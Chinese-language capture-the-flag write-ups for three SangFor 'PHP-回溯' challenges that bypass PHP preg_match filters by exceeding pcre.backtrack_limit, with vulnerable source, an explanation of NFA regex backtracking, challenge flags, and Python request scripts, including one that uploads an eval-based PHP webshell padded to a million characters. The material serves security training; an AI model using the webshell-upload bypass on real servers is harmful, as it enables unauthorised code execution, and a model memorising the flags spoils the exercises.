PHP-回溯
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-回溯 | 2 |
[题目考点]:
pcre.backtrack_limit()
对正则NFD回溯次数进行限制,能够预防pcre ddos,默认值为1,000,000,如果超过限制,preg_match()
将会返回false,而如果preg_match匹配成功返回为1,匹配不成功返回为0。
[Flag格式]:
SangFor{35CxD-i-ScWlia1OGy7wru9i-kmI_855}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2086
[题目writeup]:
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(FILE));
}
$user_dir = ‘data/’ . md5($_SERVER[‘REMOTE_ADDR’]);
$data = file_get_contents($_FILES[‘file’][‘tmp_name’]);
if (is_php($data)) {
echo “bad request”;
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . ‘/’ . random_int(0, 10) . ‘.php’;
move_uploaded_file($_FILES[‘file’][‘tmp_name’], $path);
header("Location: $path", true, 303);
}
分析题目代码,可以发现最主要就是绕过is_php
函数的限制
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
代码利用正则限制了<?php
后不能添加( ` ; ? >这些字符,也就难以构造一个完整的php代码。
这里需要涉及到正则匹配的流程,正则匹配有两种引擎
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
php的PCRE库使用的就是NFA的正则引擎,就会涉及到回溯的一个过程。如图所示(借用p神的图)
正在上传…重新上传取消
可见第4步的时候,因为第一个.*
可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa
。但此时显然是不对的,因为正则显示.*
后面还应该有一个字符[(
;?>]`。
所以NFA就开始回溯,先吐出一个a
,输入变成第5步显示的//aaaa
,但仍然匹配不上正则,继续吐出a
,变成//aaa
,仍然匹配不上
最终直到吐出;
,输入变成第12步显示的<?php phpinfo()
,此时,.*
匹配的是php phpinfo()
,而后面的;
则匹配上[(
;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配
;,14步匹配
.,第二个
.`匹配到了字符串末尾,最后结束匹配。
PHP为了防止正则表达式的拒绝服务攻击(回溯次数过多),限制了回溯的次数。这个次数对应着php_ini中的pcre.backtrack_limit
,回溯次数上限默认是100万。
当回溯的次数超过这个限制的时候,会返回一个false (匹配成功返回1,匹配失败返回的是0)
那么此题的答案就呼之欲出了,发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
import requests
from io import BytesIO
files = {
‘file’: BytesIO(b’aaa<?php eval($_POST[txt]);//’ + b’a’ * 1000000)
}
res = requests.post(‘http://url/index.php’, files=files, allow_redirects=False)
print(res.headers)
使用蚁剑连接木马,获取flag。
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-回溯(练习) | 1 |
[题目考点]:
pcre.backtrack_limit()
对正则NFD回溯次数进行限制,能够预防pcre ddos,默认值为1,000,000,如果超过限制,preg_match()
将会返回false,而如果preg_match匹配成功返回为1,匹配不成功返回为0。
[Flag格式]:
SangFor{Ug4d5Czr5RQk5YHy-m_sW-flkjmjw59E}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2066
[题目writeup]:
1、实验主页
2、源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?sangfor/is', $f)){ die('bye!'); } if(stripos($f,'36Dsangfor') === FALSE){ die('bye!!'); } echo $flag;
}
import requests
url = "http://192.168.17.87:2066"
data = {
'f': 'dotast'*170000+'36Dsangfor'
}
res = requests.post(url=url,data=data)
print(res.text)
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-回溯 | 1 |
[题目考点]:
pcre.backtrack_limit()
对正则NFD回溯次数进行限制,能够预防pcre ddos,默认值为1,000,000,如果超过限制,preg_match()
将会返回false,而如果preg_match匹配成功返回为1,匹配不成功返回为0。
[Flag格式]:
SangFor{fYEde8C0wRXRZFB4vcBuvslM_Ny_nmyM}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2065
[题目writeup]:
1、实验主页
2、源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.*?sangfor/is', $f)){ die('bye!'); } if(stripos($f, 'sangfor') === FALSE){ die('bye!!'); } echo $flag;
}
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
构造脚本发包
import requests
url = "http://192.168.17.87:2065"
data = {
'f': 'dotast'*170000+'sangfor'
}
res = requests.post(url=url,data=data)
print(res.text)